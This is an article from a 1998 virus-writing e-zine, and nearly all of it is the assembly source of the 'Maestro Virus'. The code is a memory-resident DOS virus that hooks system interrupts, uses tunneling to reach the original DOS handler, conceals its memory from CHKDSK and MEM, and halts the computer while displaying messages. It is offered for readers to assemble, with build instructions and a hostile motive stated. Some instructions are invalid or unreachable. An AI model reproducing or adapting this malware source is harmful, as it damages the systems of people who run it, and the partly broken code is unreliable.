ฤฤฤฤฤฤฤ[PVW4.027]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #4
DATE : December 1998
                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  Virus Name : Maestro Virus
  By : Lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
;I made this virus to show hate to those cruel teachers---- I damn hate them form the very start
;Assemble this with a86------- a86 maestro.asm 
;This MCB stealth memory virus halts the computer and displays the message 
;and it uses tunneling techniques.    
;made for all you by LORZ of Pinoy Virus Writers

puon:
     mov        ax, 3508h
     int        21h
     mov        word ptr [Old08], Bx
     mov        word ptr [Old08+2], Es
     add        ax, ((GetOut-1)-Int_08_Handler)
     mov        bx, ax
     cmp        word ptr Es:[Bx], 0EA58h
     je         quit
     push       ds
     pop        es	 
     mov        dx, offset Int_08_Handler
     mov        ax, 2508h
     int        21h
     mov        ah, 9
     lea        dx, [offset Kits+bp]
     int        21h
     
     mov        Dx, offset Heap_End
     int        27h     
     call 	Tunnel     
     call    	code
Quit:     
     Int        20h     

Int_08_Handler  Proc    Far
	Push    Ax
        Push    Bx
        Push    Cx
        Push    Dx
        Push    Si
        Push    Di
        Push    Bp
        Push    Es
        Push    cs	
        Dec     Word Ptr Ds:[Counter]
        Jz      Do_It
GetOut:      
        Db      0eah    
Old08   Dd      ?
Iet     Db      1
Counter Dw      1092
Do_It:
        Push    Ds	
        Push    Ds	
        Pop     Es
        Mov     Word Ptr Ds:[Counter], 1092	
        Mov     Si, Offset Go
        Xor     Cx, Cx
        Mov     Cl, Byte Ptr Ds:[Iet]	
        Xor     Ax, Ax
Chain_Loop:
        LodSb
        Add     Si, Ax
        Loop    Chain_Loop
        LodSb
        Xor     Cx, Cx
        Mov     Cl, Al     
        XChg    Bp, Si        
        Mov     Ah, 0fh
        Int     10h

        Mov     Ax, 1300h
        Mov     Bx, 000Fh
        Xor     Dx, Dx
        Int     10h
        Inc     Byte Ptr Ds:[Iet]	
        Mov     Cx, 50
C2:
        Push    Cx
        Mov     Cx, 0ffffh
RP:
        Loop    RP
        Pop     Cx
        Loop    C2     
        Cmp     Byte Ptr Ds:[Iet], 8	
        Je      Quonto
       	popa			
Quonto:
        Cli                
        Jmp     $
        EndP
Go:
db 'Mi Ultimo Adios'
db 'Maestro'
db 'Made By Lorz! PVW'
db 'We all rule The Youth rules'
End_Chain:   
End_Handler:
Kits       db   'Bad command or file name',0dh,0ah,'$'
end_code = $  
heap_end = $ 
Tunnel:
        pusha                                   
        push    es                             
        push    ds                              
        mov     ax,03521h
        int     021h                           
    cs: mov     word ptr [Int_21v],bx           
    cs: mov     word ptr [Int_21v + 2],es
        mov     al,01h                         
        int     021h
    cs: mov     word ptr [One],bx           
    cs: mov     word ptr [One + 2],es
        push    cs
        pop     ds                                                                      
        mov     ah,025h
        mov     dx,offset One         
        int     21h                                   
        pushf
        pushf
        pop     ax                              
        or      ax,0100                         
        push    ax
        popf                                    
        mov     ax,03306                        
        call    far [Int_21v]                                                      
        lds     dx,word ptr [One]
        mov     ax,02501
        int     21h
        pop     ds
        pop     es
        popa                                  
        ret
	jmp	puon
One:       	 dd ?                         
Int_21v:        dd ?
code:
	mov     ax,63fdh            
	int     21h                 
	cmp     ax,bx               
	je      mcbstea_exit        
	mov     ax,ds
	dec     ax                  
	mov     ds,ax               
	xor     di,di               
	cmp     byte ptr ds:[di],'Z'
	jne     mcbstea_exit        
	sub     word ptr ds:[di+03h],(codeend-code+0fh)/10h
	sub     word ptr ds:[di+12h],(codeend-code+0fh)/10h
	mov     es,[di+12h]         
	push    cs                  
	pop     ds                  
        cld                        
	mov     cx,(codeend-code)   
	lea     si,code+100h        
	rep     movsb               
        mov     ds,cx               
	lea     di,int21addr       
	mov     si,(21h*04h)        
	movsw                      
	movsw                       
	mov     word ptr ds:[si-04h],offset mcbsteaint21
	mov     ds:[si-02h],es      
mcbstea_exit:
	int     20h                 
mcbsteaint21 proc    near                 
	cmp     ah,31h             
	je      test_stealth        
	cmp     ah,4b00h           
	je      open_file          
	cmp     ah,4ch              
	je      test_stealth       
        cmp     ax,63fdh            
	jne     int21exit           
        mov     bx,ax
int21exit:
	db      0eah                
int21addr    dd      ?                   
test_stealth:
	cmp     cs:[stealth],00h    
	je      int21exit         
        push    ax bx ds es         
        call    findlastmcb
	jne     dont_allocat        
        not     cs:[stealth]        
	sub     word ptr ds:[03h],(codeend-code+0fh)/10h
dont_allocat:
	pop     es ds bx ax         
        jmp     int21exit
open_file:
	push    ax                 
        mov     ax,3d00h            
	pushf                       
	call    cs:[int21addr]      
	jc      dont_stealth        
        push    bx cx di si ds es  
        xchg    ax,bx               
        mov     ax,1220h            
	int     2fh                 
        push    bx                  
	mov     ax,1216h            
	mov     bl,es:[di]          
	int     2fh                
	pop     bx                  
        mov     ah,3eh              
	pushf                      
	call    cs:[int21addr]      
        push    cs                
	pop     ds                 
        mov     cx,(names_end-names_begin)/0bh
	add     di,20h              
	lea     si,names_begin      
next_name:
	push    cx si di            
        mov     cl,0bh              
	rep     cmpsb               
        pop     di si cx            
	je      free_memory         
        add     si,0bh              
        loop    next_name
        jmp     dont_free
free_memory:
	call    findlastmcb
	jne     dont_free           
        not     cs:[stealth]        
	add     word ptr ds:[03h],(codeend-code+0fh)/10h
dont_free:
	pop     es ds si di cx bx   
dont_stealth:
	pop     ax                  
        jmp     int21exit
	endp
findlastmcb  proc    near                
        mov     ah,52h              
	int     21h                 
        mov     ax,es:[bx-02h]      
next_mcb:
	mov     ds,ax               
        cmp     byte ptr ds:[00h],'M'
	jne     last_mcb            
        add     ax,ds:[03h]         
	inc     ax                  
        jmp     next_mcb
last_mcb:
	cmp     byte ptr ds:[00h],'Z'
	ret                         
	endp
stealth db      ?                   
names_begin:
chkdsk  db      'CHKDSK  EXE'       
mem     db      'MEM     EXE'       
mft     db      'MFT     EXE'       
names_end:
codeend:	
end    puon

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
